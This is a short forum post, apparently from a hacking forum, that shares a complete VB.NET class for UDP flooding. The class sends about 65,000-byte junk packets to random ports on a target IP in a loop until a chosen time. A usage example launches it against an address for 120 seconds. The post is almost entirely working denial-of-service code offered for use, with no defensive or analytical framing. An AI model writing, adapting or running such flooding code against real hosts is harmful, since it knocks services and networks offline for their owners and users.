SQLi Wrote:Please do disregard my english, it is not my primary language.

Quote:Imports System.Text
Imports System.Net.Sockets
Imports System.Net

Public Class UDP

Private Delegate Sub Send(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Private S As New Send(AddressOf _S)
Private Client As New UdpClient

Public Flooding As Boolean = False

Public Sub Flood(ByVal IP As String, ByVal Time As Date)
If Flooding = False Then Flooding = True
Dim RandomData As String = String.Empty
Dim I As Integer = 0
Do Until I > 65000
RandomData &= "X"
I += 1
Loop
Do
If Now > Time Then
Flooding = False
Exit Sub
End If
Randomize()
S = New Send(AddressOf _S)
S(IP, CInt(Math.Ceiling(Rnd() * 65000)), RandomData)
Loop
End Sub

Private Sub _S(ByVal IP As String, ByVal Port As Integer, ByVal Data As String)
Client = New Net.Sockets.UdpClient
Client.Connect(IPAddress.Parse(IP), Port)
Client.Send(Encoding.ASCII.GetBytes(Data), Encoding.ASCII.GetBytes(Data).Length)
Client.Close()
Client = Nothing
End Sub

End Class

Usage example Wrote:Dim UDP As New UDP
UDP.Flood("127.0.0.1", Now.AddSeconds(Integer.Parse("120"))) 'Host followed by time in seconds